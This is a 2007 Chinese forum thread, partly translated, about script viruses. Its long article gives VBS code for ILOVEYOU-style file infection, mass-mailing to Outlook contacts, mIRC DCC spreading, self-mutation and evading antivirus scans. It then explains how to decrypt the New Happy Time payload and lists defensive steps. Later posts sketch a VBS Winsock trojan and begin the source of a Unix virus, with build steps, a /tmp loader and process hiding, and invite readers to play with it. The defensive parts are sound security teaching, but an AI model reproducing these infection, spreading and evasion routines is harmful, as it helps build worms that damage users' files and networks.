对于没有加密的脚本病毒,我们可以直接从病毒样本中找出来,现在介绍一下如何从病毒样本中提取加密VBS脚本病毒,这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行,第一行<BODY onload="vbscript:KJ_start()">,几行注释后,以<html>开始,</html>节尾。相信每个人都知道这是个什么类型的文件吧!
第87行到91行,是如下语句:
87:<script language=vbscript>
88:ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...;后面省略,很长!
89:Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 3"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 4"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next") 90:Execute(ThisText) 91:</script>
第87和91行不用解释了,第88行是一个字符串的赋值,很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar,再加上下面那一行,我们肯定能够猜到ThisText里面放的是病毒解密代码(熟悉vbs的兄弟当然也可以分析一下这段解密代码,too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码(经过解密处理后的代码)。
那么,下一步该怎么做呢?很简单,我们只要在病毒代码解密之后,将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件:
首先,copy第88、89两行到刚才建立的.txt文件,当然如果你愿意看看新欢乐时光的执行效果,你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码,整个文件如下所示:
ExeString = "Afi... ’ 第88行代码 Execute("Dim KeyAr... ’ 第89行代码
set fso=createobject("scripting.filesystemobject") ’ 创建一个文件系统对象
set virusfile=fso.createtextfile("resource.log",true) ’ 创建一个新文件resource.log,用以存放解密后的病毒代码 virusfile.writeline(ThisText) ’ 将解密后的代码写入resource.log
OK!就这么简单,保存文件,将该文件后缀名.txt改为.vbs(.vbe也可以),双击,你会发现该文件目录下多了一个文件resource.log,打开这个文件,怎么样?是不是“新欢乐时光”的源代码啊!
2.vbs脚本病毒的弱点
vbs脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。笔者认为,VBS脚本病毒具有如下弱点:
1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript代码是通过Windows Script Host来解释执行的。
3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4)通过网页传播的病毒需要ActiveX的支持
5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。
3.如何预防和解除vbs脚本病毒
针对以上提到的VBS脚本病毒的弱点,笔者提出如下集中防范措施:
1)禁用文件系统对象FileSystemObject
方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{0D43FE01-F093-11CF-8940-00A0C9054228}的项,咔嚓即可。
2)卸载Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件],取消“Windows Scripting Host”一项。
和上面的方法一样,在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的项,咔嚓。
3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个ActiveX组件如果不能运行,网络传播这项功能就玩完了。
6)禁止OE的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9)呵呵,最后一项不说大家也应该知道了,杀毒软件确实很必要,尽管有些杀毒软件挺让广大用户失望,不过,选择是双方的哦。在这个病毒横飞的网络,如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
四、对所有脚本类病毒发展的展望
随着网络的飞速发展,网络蠕虫病毒开始流行,而VBS脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的VBS脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如PHP,JS,Perl病毒等。
但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。笔者认为,脚本病毒仍将继续流行,但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数
The popularity of the network has made our world a better place, but it also has unpleasant times. When you receive an email with the subject "I Love You" and click on the attachment with a mouse that's almost trembling with excitement; when you browse a trusted website and find that the speed of opening each folder is very slow, do you notice that a virus has entered your world? The "I Love You" network worm virus broke out in Europe and the United States on May 4, 2000. Due to its spread through the email system, the I Love You virus raged through millions of computers around the world in just a few days. The network systems of many large enterprises such as Microsoft and Intel were paralyzed, and the global economic loss reached several billion US dollars. And the new Happy Time virus that broke out last year still makes computer users extremely miserable.
The biggest common feature of the two viruses mentioned above is: they are written in VBScript. The very rampant VBS script viruses represented by the I Love You and new Happy Time viruses have a very important reason, which is that they are easy to write. Now we will analyze various aspects of VBS script viruses one by one:
I. Characteristics and development status of VBS script viruses
VBS viruses are written in VB Script. This script language is very powerful. They use the open nature of the Windows system. By calling some existing Windows objects and components, they can directly control the file system, registry, etc., and have very powerful functions. It should be said that a virus is an idea, but this idea becomes extremely easy to implement with VBS. VBS script viruses have the following characteristics:
1. Easy to write. A virus enthusiast who knows nothing about viruses can create a new virus in a very short time.
2. Great destructiveness. Its destructiveness is not only manifested in the destruction of user system files and performance. It can also make the email server crash and the network seriously blocked.
3. Strong infectivity. Since the script is directly interpreted and executed, and it does not need to do complex PE file format processing like PE viruses, such viruses can directly infect other similar files by self-replication, and self-exception handling becomes very easy.
4. Wide spread range. Such viruses can spread all over the world in a very short time through htm documents, Email attachments or other methods.
5. Easy to obtain virus source code and have many variants. Since VBS viruses are interpreted and executed, their source code is very readable. Even if the virus source code is encrypted, it is relatively easy to obtain the source code. Therefore, there are many variants of such viruses. If the structure of the virus is slightly changed or the characteristic value is modified, many anti-virus software may be unable to do anything.
6. Strong deception. In order to get the opportunity to run, script viruses often use various means that users don't pay much attention to. For example, the attachment name of an email uses a double suffix, such as.jpg.vbs. Since the system does not display the suffix by default, when users see this file, they will think it is a jpg image file.
7. Makes it very easy to implement a virus generator. The so-called virus generator is a machine (of course, here refers to a program) that can produce viruses according to users' wishes. At present, most virus generators are script virus generators. The most important point is that the script is interpreted and executed, and it is very easy to implement, which will be discussed later.
Because of the above characteristics, script viruses are developing extremely rapidly. Especially the emergence of virus generators makes it very easy to generate new script viruses.
II. Principle analysis of VBS script viruses
1. How VBS script viruses infect and search for files
VBS script viruses generally infect files directly through self-replication. Most of the code in the virus can be directly attached in the middle of other similar programs. For example, the new Happy Time virus can attach its own code to the end of a.htm file and add a statement to call the virus code at the top. And the I Love You virus directly generates a copy of a file, copies the virus code into it, and uses the original file name as the prefix of the virus file name and.vbs as the suffix. Now we will analyze the infection and search principle of such viruses through part of the code of the I Love You virus:
The following is part of the key code for file infection:
Set fso = createobject("scripting.filesystemobject")'Create a file system object
set self = fso.opentextfile(wscript.scriptfullname, 1)'Read and open the current file (that is, the virus itself)
vbscopy = self.readall'Read all virus code into the string variable vbscopy……
set ap = fso.opentextfile(The path of the target file, 2, true)'Write and open the target file, ready to write virus code
ap.write vbscopy'Cover the target file with virus code
ap.close
set cop = fso.getfile(The path of the target file)'Get the path of the target file
cop.copy(The path of the target file & ".vbs")'Create another virus file (with.vbs as the suffix)
The target file.delete(true)'Delete the target file
The above describes how the virus file infects the normal file: first, the virus itself code is assigned to the string variable vbscopy, then this string is overwritten and written to the target file, and a file copy with the target file name as the file name prefix and.vbs as the suffix is created, and finally the target file is deleted.
Now we will specifically analyze the file search code:
'This function is mainly used to find files that meet the conditions and generate a virus copy of the corresponding file
sub scan(folder_)'Define the scan function,
on error resume next'If an error occurs, skip directly to prevent the error window from popping up
set folder_ = fso.getfolder(folder_)
set files = folder_.files'The collection of all files in the current directory
for each file in files
ext = fso.GetExtensionName(file)'Get the file suffix
ext = lcase(ext)'Convert the suffix name to lowercase letters
if ext = "mp5" then'If the suffix name is mp5, infect it. Please create files with corresponding suffix names by yourself, preferably abnormal suffix names, so as not to damage normal programs.
Wscript.echo (file)
end if
next
set subfolders = folder_.subfolders
for each subfolder in subfolders'Search other directories; call recursively
scan( )
scan(subfolder)
next
end sub
The above code is the code analysis of the file search of the VBS script virus. The search part scan() function is relatively short and exquisite, very clever, and uses a recursive algorithm to traverse the directories and files of the entire partition.
2. Several ways of network transmission of VBS script viruses and code analysis
The wide spread range of VBS script viruses mainly depends on its network transmission function. Generally speaking, VBS script viruses use the following several ways to spread:
1) Spread through Email attachments
This is a very common spread way. The virus can get legal Email addresses by various methods. The most common one is to directly take the email addresses in the outlook address book, and it can also search for Email addresses in the user's documents (such as htm files) through the program.
Now we will specifically analyze how the VBS script virus does this:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //Create an object of the OUTLOOK application
If outlookApp = "Outlook" Then
Set mapiObj = outlookApp.GetNameSpace("MAPI") //Get the namespace of MAPI
Set addrList = mapiObj.AddressLists //Get the number of address tables
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //Get the number of Email records of each address table
For addrEntIndex = 1 To addrEntCount //Traverse the Email addresses of the address table
Set item = outlookApp.CreateItem(0) //Get an instance of the mail object
Set addrEnt = addr.AddressEntries(addrEntIndex) //Get the specific Email address
item.To = addrEnt.Address //Fill in the recipient address item.Subject = "Virus spread experiment" //Write the email title
item.Body = "This is a virus email spread test, please don't panic when you receive this letter!" //Write the file content
Set attachMents = item.Attachments //Define the email attachment
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //The letter is automatically deleted after submission
If item.To <> "" Then
item.Send //Send the email
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //Virus mark to avoid repeated infection
End If
Next
End If
Next
End if
End Function
2) Spread through LAN sharing
LAN sharing spread is also a very common and effective network spread way. Generally speaking, in order to facilitate communication within the LAN, there must be many shared directories with writable permissions. For example, when creating a share in win2000, it has writable permissions by default. In this way, the virus can spread the virus code to these directories by searching these shared directories.
In VBS, there is an object that can realize the search and file operation of the shared folder in the network neighborhood. We can use this object to achieve the purpose of spread.
welcome_msg = "Network connection search test"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’Create a network object
Set oPrinters = WshNetwork.EnumPrinterConnections ’Create a network printer connection list
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2 ’Display the network printer connection situation
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’Create a network shared connection list
If colDrives.Count = 0 Then
MsgBox "There are no drivables to list.", vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "Current network drive connections: " & CRLF
For i = 0 To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
Next
MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’Display the current network drive connection
End If
The above is a complete script program used to find the current printer connection and network shared connection and display them. After knowing the shared connection, we can directly read and write files to the target drive.
3) Spread by infecting web files such as htm, asp, jsp, php
Nowadays, WWW services have become very common. The virus will definitely cause all user machines that have visited this web page to be infected with the virus by infecting htm and other files.
The reason why the virus can play a powerful function in htm files is the same as the principle of most web malicious codes. Basically, they use the same code, but other codes can also be used. This code is the key for the virus FSO, WSH and other objects to run in the web page. In the registry HKEY_CLASSES_ROOT\CLSID\, we can find such a primary key {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}, and the description of it in the registry is "Windows Script Host Shell Object". Similarly, we can also find {0D43FE01-F093-11CF-8940-00A0C9054228}, and the description of it in the registry is "FileSystem Object". Generally, we need to initialize COM first. After obtaining the corresponding component object, the virus can correctly use the FSO and WSH objects and call their powerful functions. The code is as follows:
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance() ’Create an instance
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance() ’Create an instance
Set FSO = Apple0bject.Get0bject()
For other types of files, we will not analyze them one by one here.
4) Spread through IRC chat channels
The virus generally uses the following code to spread through IRC (taking MIRC as an example)
Dim mirc
set fso = CreateObject("Scripting.FileSystemObject")
set mirc = fso.CreateTextFile("C:\mirc\script.ini") ’Create the file script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True ’Backup the virus file to attachment.vbs
mirc.WriteLine ""
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }"
'Use the command /ddc send $nick attachment.vbs to send the virus file to other users in the channel
mirc.Close
The above code is used to write a line of code into the Script.ini file. Actually, many other codes will be written. The commands in Script.ini are used to control the IRC session, and the commands in this file can be executed automatically. For example, the "Song Worm" virus TUNE.VBS will modify c:\mirc\script.ini and c:\mirc\mirc.ini so that whenever an IRC user uses the infected channel, they will receive a TUNE.VBS sent via DDC. Similarly, if Pirch98 is installed in the c:\pirch98 directory of the target computer, the virus will modify c:\pirch98\events.ini and c:\pirch98\pirch98.ini so that whenever an IRC user uses the infected channel, they will receive a TUNE.VBS sent via DDC.
In addition, the virus can also spread through KaZaA which is widely popular now. The virus copies the virus file to the default shared directory of KaZaA. In this way, when other users visit this machine, they may download and execute this virus file. This spread method may play a role with the popularity of KaZaA such peer-to-peer sharing tools.
There are some other spread methods, which we will not list one by one here.
3. How VBS script viruses obtain control
How to obtain control? This is an interesting topic, and VBS script viruses seem to have played this topic to the fullest. The author lists several typical methods here:
1) Modify the registry key
When Windows starts, it will automatically load the programs pointed to by each key value in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. The script virus can add a key value here to point to the virus program, so that it can get control every time the machine starts. The method for vbs to modify the registry is relatively simple, and you can directly call the following statement.
wsh.RegWrite(strName, anyvalue )
2) Through the mapping file execution method
For example, our new Happy Time modifies the execution method of dll to wscript.exe. Even the mapping of the exe file can be pointed to the virus code.
3) Deceive the user to let the user execute it themselves
This method is actually related to the user's psychology. For example, when the virus sends an attachment, it uses a double-suffix file name. Since the suffix is not displayed by default, for example, a vbs program with the file name beauty.jpg.vbs is displayed as beauty.jpg. At this time, the user will often click it as a picture. Similarly, for the user's own disk files, when the virus infects them, it generates a virus file with the original file name as the prefix and.vbs as the suffix, and deletes the original file. In this way, the user may run this vbs file as their original file.
4) Desktop.ini and folder.htt cooperate with each other
These two files can be used to configure the active desktop and can also be used to customize the folder. If the user's directory contains these two files, when the user enters this directory, the virus code in folder.htt will be triggered. This is an effective method for the new Happy Time virus to obtain control. And using folder.htt, it may also trigger the exe file, which may also become an effective method for the virus to get control!
There are many ways for the virus to obtain control, and the author has a relatively large room for play in this regard.
4. Several techniques for VBS script viruses to resist anti-virus software
For the virus to survive, the ability to resist anti-virus software is also necessary. Generally speaking, VBS script viruses use the following several methods to resist anti-virus software:
1) Self-encryption
For example, the new Happy Time virus can randomly select a key to encrypt and transform part of its own code, so that the virus code infected each time is different, achieving a polymorphic effect. This brings some difficulties to the traditional feature value virus detection method. The virus can further use the deformation technology, so that the decrypted code of the encrypted virus after each infection is different.
Now look at a simple vbs script deformation engine (from flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject") ’Create a file system object
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall ’Read its own code
fS = Array("Of", "vC", "fS", "fSC") ’Define an array of strings that will be replaced
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))) ’Replace the strings in array fS with 4 random characters
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’Write the replaced code back to the file
This code makes the four strings Of, vC, fS, and fSC in this VBS file replaced with random strings every time it runs, which can prevent anti-virus software from detecting it by the feature value virus detection method to a large extent.
2) Skillfully use the Execute function
Friends who have used VBS programs may find it strange: when a normal program uses the FileSystemObject object, some anti-virus software will report that the risk of this Vbs file is high when scanning this program, but why do some VBS script viruses also use the FileSystemObject object but there is no warning? The reason is very simple, that is, these viruses skillfully use the Execute method. Some anti-virus software will check whether the program declares to use the FileSystemObject object when detecting VBS viruses. If it is used, it will issue an alarm. If the virus converts this declaration code into a string and then executes it through the Execute(String) function, it can avoid some anti-virus software.
3) Change the declaration method of some objects
For example, fso = createobject("scripting.filesystemobject"), we change it to
fso = createobject("script" + "ing.filesyste" + "mobject"), so that the anti-virus software will not find the filesystemobject object when it performs static scanning.
4) Directly close the anti-virus software
VBS script has powerful functions. It can directly search for the user's process and then compare the process name. If it is found to be the process of the anti-virus software, it will directly close it and delete some of its key programs.
5. Introduction to the principle of the VBS virus generator
The so-called virus generator refers to software that can directly generate virus source code according to users' choices. To many people, this may be incredible. In fact, for script viruses, its implementation is very simple.
The script language is interpreted and executed, no compilation is required, there is no need for verification and positioning in the program, and each statement is separated relatively clearly. In this way, first make the virus functions into many separate modules. After the user makes the virus function selection, the generator only needs to piece together the corresponding function modules, and finally make corresponding code replacements and optimizations. Due to space limitations and other reasons, it will not be introduced in detail here.
III. How to prevent VBS script viruses
1. How to extract (encrypt) script viruses from samples
For unencrypted script viruses, we can directly find them from the virus samples. Now we will introduce how to extract encrypted VBS script viruses from virus samples. Here we take the new Happy Time as an example.
Open folder.htt with JediEdit. We find that this file has only 93 lines in total. The first line is <BODY onload="vbscript:KJ_start()">. After a few lines of comments, it starts with <html> and ends with </html>. I believe everyone knows what type of file this is!
Lines 87 to 91 are the following statements:
87: <script language=vbscript>
88: ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...; the rest is omitted, very long!
89: Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 3"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 4"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next") 90: Execute(ThisText) 91: </script>
Lines 87 and 91 need no explanation. Line 88 is an assignment of a string, which is obviously encrypted virus code. Looking at the last part of line 89 code ThisText = ThisText & TempChar, plus the next line, we can definitely guess that ThisText contains the virus decryption code (of course, brothers who are familiar with vbs can also analyze this decryption code, too simple! Even if you don't look at the code at all, you should be able to see it). Line 90 is to execute the code in ThisText just now (the code after decryption processing).
So, what should be done next? Very simple, we just need to output the content of ThisText to a text file after the virus code is decrypted. Since the above lines are vbscript, I created the following a.txt file:
First, copy lines 88 and 89 to the just-established.txt file. Of course, if you are willing to see the execution effect of the new Happy Time, you can also enter line 90 at the end. Then enter the vbs code for creating a file and writing ThisText to the file in the next line. The entire file is as follows:
ExeString = "Afi... ’ Line 88 code Execute("Dim KeyAr... ’ Line 89 code
set fso = createobject("scripting.filesystemobject") ’ Create a file system object
set virusfile = fso.createtextfile("resource.log",true) ’ Create a new file resource.log to store the decrypted virus code virusfile.writeline(ThisText) ’ Write the decrypted code to resource.log
OK! It's that simple. Save the file, change the file suffix name.txt to.vbs (.vbe is also okay), double-click, and you will find that there is an additional file resource.log in the directory of this file. Open this file, how about it? Is it the source code of "New Happy Time"?
2. Weaknesses of VBS script viruses
Since the programming language of VBS script viruses is a script, it will not be as convenient and flexible as PE files. Its operation needs conditions (but this condition is generally met by default). The author believes that VBS script viruses have the following weaknesses:
1) Most VBS script viruses need to use an object: FileSystemObject when running
2) VBScript code is interpreted and executed through Windows Script Host.
3) The operation of VBS script viruses needs the support of its associated program Wscript.exe.
4) Viruses spread through web pages need the support of ActiveX
5) Viruses spread through Email need the support of the automatic email sending function of OE, but most viruses use Email as the main spread method.
3. How to prevent and remove VBS script viruses
Aiming at the weaknesses of the VBS script viruses mentioned above, the author puts forward the following centralized prevention measures:
1) Disable the file system object FileSystemObject
Method: Use the command regsvr32 scrrun.dll /u to disable the file system object. Among them, regsvr32 is an executable file under Windows\System. Or directly find the scrrun.dll file and delete or rename it.
There is also a method to find a primary key {0D43FE01-F093-11CF-8940-00A0C9054228} under HKEY_CLASSES_ROOT\CLSID\ in the registry and delete it.
2) Uninstall Windows Scripting Host
In Windows 98 (the same is true for NT 4.0 and above), open → → → , and cancel the "Windows Scripting Host" item.
The same as the above method, find a primary key {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B} under HKEY_CLASSES_ROOT\CLSID\ in the registry and delete it.
3) Delete the mapping between VBS, VBE, JS, JSE file suffixes and applications
Click → → → , and then delete the mapping between VBS, VBE, JS, JSE file suffixes and applications.
4) In the Windows directory, find WScript.exe, change its name or delete it. If you think you may use it later, it is better to change its name. Of course, you can reinstall it later.
5) To thoroughly prevent VBS network worm viruses, you also need to set your browser. First, open the browser, click the button in the security tab in the menu bar. Set everything in "ActiveX controls and plugins" to disabled. In this way, you don't have to worry. Hehe, for example, if the ActiveX component of the new Happy Time cannot run, this network spread function will be over.
6) Disable the automatic send and receive email function of OE
7) Since worm viruses mostly make a fuss about file extensions, to prevent them, do not hide the extensions of known file types in the system. Windows defaults to "Hide extensions for known file types", and change it to display the extensions of all file types.
8) Set the security level of the system's network connection to at least "Medium". It can prevent to a certain extent the invasion of some harmful Java programs or some ActiveX components to the computer.
9) Hehe, the last item, everyone should know it without saying. Anti-virus software is indeed very necessary. Although some anti-virus software is quite disappointing to users, but the choice is mutual. In this network full of viruses, if your machine is not installed with anti-virus software, I think it is really incredible.
IV. Prospect for the development of all script-based viruses
With the rapid development of the network, network worm viruses have become popular, and VBS script worms are even more prominent. They not only have a large number but also great power. Since it is relatively easy to write viruses using scripts, in addition to continuing to popularize the current VBS script viruses, more other script-based viruses will gradually appear, such as PHP, JS, Perl viruses, etc.
But scripts are not the best tool for real virus technology enthusiasts to write viruses, and script viruses are relatively easy to remove and relatively easy to prevent. The author believes that script viruses will continue to be popular, but script worm viruses that can have a great impact like the I Love You and new Happy Time are only a minority
|
|
2007-3-2 03:58 |
|
|
KKIILDL
初级用户
 
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『第 7 楼』:
使用 LLM 解释/回答一下
vbs没公开对像,VBS也可以像一般软件发送数据。不能不看啊
迷路少年
你有想过VBS也可以做木马吗??
有这个对像VBS也可以像木马一样发数据??
本人对TCP/IP协议不太清楚源码只有如下几句啦.
不好意思啦!
'源代码:
'显示本机IP地址
Dim IP
Set IP = CreateObject("MSWinsock.Winsock")
IPAddress = IP.LocalIP
Msgbox "Local IP = " & IPaddress
IP.close
VBS的MSWINSOCK.WINSOCK对像的方法。
Sub Connect
Sub ConnectionRequest(ByVal requestID As Long)
Sub DataArrival(ByVal bytesTotal As Long)
Sub SendComplete
Sub SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
Property _RemoteHost As String
Sub AboutBox
Property LocalIP As String
Sub Accept(ByVal requestID As Long)
Sub Bind([ByVal LocalPort], [ByVal LocalIP])
Property BytesReceived As Long
Sub Close
Sub Connect([ByVal RemoteHost], [ByVal RemotePort])
Sub GetData(data, [ByVal type], [ByVal maxLen])
Sub Listen
Sub PeekData(data, [ByVal type], [ByVal maxLen])
Property RemotePort As Long
Sub SendData(ByVal data)
Property SocketHandle As Long
Property State As Integer
VBS has no public objects. VBS can also send data like general software. Can't not read it.
Lost Boy
Have you ever thought that VBS can also be used as a Trojan?
Is there such an object that VBS can also send data like a Trojan?
I'm not very clear about the TCP/IP protocol. The source code is only the following few lines.
Sorry!
' Source code:
' Display the local IP address
Dim IP
Set IP = CreateObject("MSWinsock.Winsock")
IPAddress = IP.LocalIP
Msgbox "Local IP = " & IPaddress
IP.close
Methods of the MSWINSOCK.WINSOCK object in VBS.
Sub Connect
Sub ConnectionRequest(ByVal requestID As Long)
Sub DataArrival(ByVal bytesTotal As Long)
Sub SendComplete
Sub SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
Property _RemoteHost As String
Sub AboutBox
Property LocalIP As String
Sub Accept(ByVal requestID As Long)
Sub Bind(, )
Property BytesReceived As Long
Sub Close
Sub Connect(, )
Sub GetData(data, , )
Sub Listen
Sub PeekData(data, , )
Property RemotePort As Long
Sub SendData(ByVal data)
Property SocketHandle As Long
Property State As Integer
|
|
2007-3-2 04:00 |
|
|
KKIILDL
初级用户
 
积分 48
发帖 32
注册 2007-2-28
状态 离线
|
『第 8 楼』:
使用 LLM 解释/回答一下
C语言编的unix病毒
这是一只 UNIX 下的电脑病毒,
virus name: Unix Invader (入侵者)
written by NCKU htk
其特点有:
1.其具有 daemon process 的特性(lose control tty)
故该process owner 没在线上,该病毒依旧能作用执行,不会被系统终结.
2.其可感染 UNIX 上 script file 和 各型 binary file(当然要属性得宜) ,不重复感染.感染完后,该执行档或script file 依旧可执行...(好像是废话)
3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用该user 的 login shell basename 作为程式名,故,用ps -aux(单ps 看不到)或 top 之类的程式,要仔细看,才会被发现...(有点奸诈)
4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力5.其它...没了.
6.本来要增加 root kill -9 也杀不死的能力,但,时间有限,且经济效益不高所以作罢...(别跟我说 kill -9 pid 是无敌的,我依然有办法)如何实验?
cp 几个 binary file 到你的 home directory 里,做几个开头字元是 # 的 script file ....
如何起动?
1.先把此档案设定为 filename.c
2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c
^ ^ 很重要一定要有!
3.然后可能会有些警告讯习,管它....,然后,应该会有个 virus@ 档出现
4. ls -l 看看该(virus@)档案长度多长,记好.
5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案
长度(有标示 here 的地方)
6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.
7.执行它...ok! :)
8.你就中毒了(十秒内)........以后一旦有适合的档案将会马上被感染...
其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力想个残忍的破坏动作........有兴趣的人,可以自己去加上....
2.此 virus ,在UNIX 作业系统下执行,故证明一点....只要有人类,没有什么不可能有 virus 的 environment,方法是人想出来的.
3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,能被此 virus 感染的该帐号,被Crack 的机会是相当高.
4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search就可能把整个wrok station 的目录扫完.
5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现... :)
6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定是没有用的,所以实验前赶紧搬一搬吧!
7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的 linux上实验,您...自个好自为之,被抓到或被踢除帐号,别怪作者htk没先跟你说.OK?
大家好好玩吧!
注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也...
1995/6/15>
*/
/* A VIRUS IN UNIX !!!! */
/* written by NCKU EE htk */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CHK 512
#define PERM S_IRWXU
#define CHKT 10
#define LOADER "\nrm -f /tmp/.@`whoami`;cat < "
#define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700
/tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n"
/* ^^^^^modify here !!! */
#define VL 18606
/* and ^^^^^ here !!! */
#define VLL -VL
#define BUFSIZE 25088
#define BSI 80
#define EXE 1
#define SCR 2
struct flock bk;
int fo,f,status=NULL;
int flagn=0;
void main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
